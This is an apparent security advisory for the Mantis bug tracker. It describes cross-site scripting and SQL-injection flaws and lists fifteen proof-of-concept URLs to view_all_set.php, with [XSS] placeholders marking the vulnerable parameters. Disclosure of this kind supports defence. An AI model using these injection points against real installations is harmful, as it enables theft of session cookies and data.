source: http://www.securityfocus.com/bid/16657/info

Mantis is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/view_all_set.php?type=1&handler_id=1&hide_status=[XSS]
http://www.example.com/view_all_set.php?type=1&handler_id=[XSS]
http://www.example.com/view_all_set.php?type=1&temporary=y&user_monitor=[XSS]
http://www.example.com/view_all_set.php?type=1&temporary=y&reporter_id=[XSS]
http://www.example.com/view_all_set.php?type=6&view_type=[XSS]
http://www.example.com/view_all_set.php?type=1&show_severity=[XSS]
http://www.example.com/view_all_set.php?type=1&show_category=[XSS]
http://www.example.com/view_all_set.php?type=1&show_status=[XSS]
http://www.example.com/view_all_set.php?type=1&show_resolution=[XSS]
http://www.example.com/view_all_set.php?type=1&show_build=[XSS]
http://www.example.com/view_all_set.php?type=1&show_profile=[XSS]
http://www.example.com/view_all_set.php?type=1&show_priority=[XSS]
http://www.example.com/view_all_set.php?type=1&highlight_changed=[XSS]
http://www.example.com/view_all_set.php?type=1&relationship_type=[XSS]
http://www.example.com/view_all_set.php?type=1&relationship_bug=[XSS]